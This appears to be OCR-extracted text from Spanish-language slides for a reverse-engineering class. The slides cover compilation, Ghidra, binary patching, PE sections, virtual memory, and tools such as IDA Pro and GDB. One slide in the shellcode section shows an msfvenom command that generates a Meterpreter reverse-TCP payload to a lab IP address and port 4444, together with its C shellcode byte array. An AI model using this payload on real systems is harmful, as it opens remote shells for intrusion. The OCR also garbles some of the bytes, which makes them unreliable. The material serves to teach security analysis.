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OBJETIVO DE LA CLASE

IF YOU KNOW/REVERSING
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ol Tipos de lenguajes

Para entender el objetivo del reversing primero tenemos que entender los lenguajes de
programacion y sus tipos

Interpretado

* Requiere * Requiere intérprete
compilador ’)
° « Python, Javascript,
« C, C++, Rust, Go Bash
« Genera un « Portable y

programa nativo compatible



Proceso de Compilado

[ Cédigo Fuente ] / \

l Ensamblado
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K / | Ejecutable ]




(Que podemos hacer con un ejecutable!?

Demo Time

A software reverse engineering (SRE) suite of tools developed by NSA's Research Directorate in support
of the Cybersecurity mission

Download from GitHub
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Binary Patching

OP codes

Instructions size

0000000140236BAC 61 41 89 add [rex:
Assembly 0000000140236BAF 4B 10 EB adc +11b
0000000140236BB2

0000000140236BB2 loc_140236BB:
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Binary Patching

Jaword ptr [ + Lpralral

Bookmark... ED
Clear Code Bytes C

dword ptr [-=USER3Z.DLL  Clear With Options

Clear Flow and Repair

Qoo
dword ptr [--KERNEL32. Copy e
Copy Special...
1h 3 Paste #Y
Cah C -
88k omments
5:: | Instruction Infa...
C3h Patch Instruction  {+3#G
Processor Manual...
PUSH 5_We've_been_compromised!_ 29493038
MOV | [EAX,dword ptr [EBP + @x{f{fi{44]
PUSH

PUSH

dxd
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MS-DOS Header

text - Contains the executable code which is the written code.

File Header

data - Contains initialized data which are variables initialized in the code.

Optional Header

rdata - Contains read-only data. These are constant variables prefixed with const.

Section Headers

idata - Contains the import tables

reloc - Contains information on how to fix up memory
addresses so that the program can be loaded into memory without any errors.

rsrc - Used to store resources such as icons and bitmaps

Sections

text

.data

edata

Aidata

reloc
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U ., Virtual memory

Program'’s virtual

memaory Mapping Physical memory
Allocated J 1
A typical
thread's
stack 2 N

Unallocated | -
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. Guard page— I |
(read-only)

Legend:

used I M

Unused | |




=
L 1)

Ul s Shellcode

 linux/x64/meterpreter/reverse_tcp LHOST=192.168.72.140 LPORT=4444 -1
[-] No platform was selected, choosing Msf ::Module::Platform:: Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of ¢ file: 574 bytes
unsigned char buf[] =
"\x31\xFff\x6a\x09\x58\ x99\ xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f \x05\ x48\x85\xcO\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\ x99\ x6a\x02\x5f\x6a\x01"
"Ax5e\x0f\x05\x48\x85\xc@\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x11\x5c\xc@\xa8\x48\x8c\x51\x48\x89\xe6\xba\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xcO\x79\x25\x49\xff\xco\x74"
"Ax18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89%\xe7\x48\x31"
"AXFEAXOF\XxB5\x59\x59\x5Ff\x48\x85\xcO\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5F\x0f\x05\x5e\x6a\x7e\x5a\x0f \x05\x48\x85\xc0@"
"\x78\xed\xff\xeb6";




Payload Placement

DISK SPACE

Shellcode placement

Decodin
g h Image contents
Obfuscation \
* B % h New section
Execution

MALWARE PROCESS TARGET PROCESS
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Q Setup - IDA Pro and Hex-Rays Decompiler (x86, x64, ARM, A..  — X
I\DA Welcome to the IDA Pro and
Hex-Rays Decompiler (x86, x64,
ARM, ARM64) 7.5 Setup Wizard

This is wil install IDA Pro and Hex-Rays Decompiler (x86, x64,
ARM, ARM64) 7.5 on your computer.

WIRESHARK

1t is recommanded that you close all other applications before
continuing.

Click Next to continue, or Cancel to exit Setup.
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Analisis dinamico

DEBUGGING
WwWITH GDB

THE GNU SOURCE-LEVEL DEBUGGER
TENTH EDITION, FOR GDE VERSION S.1

Demo Time

RICHARD STALLMAN
ROLAND PESCH
STAN SHEBS
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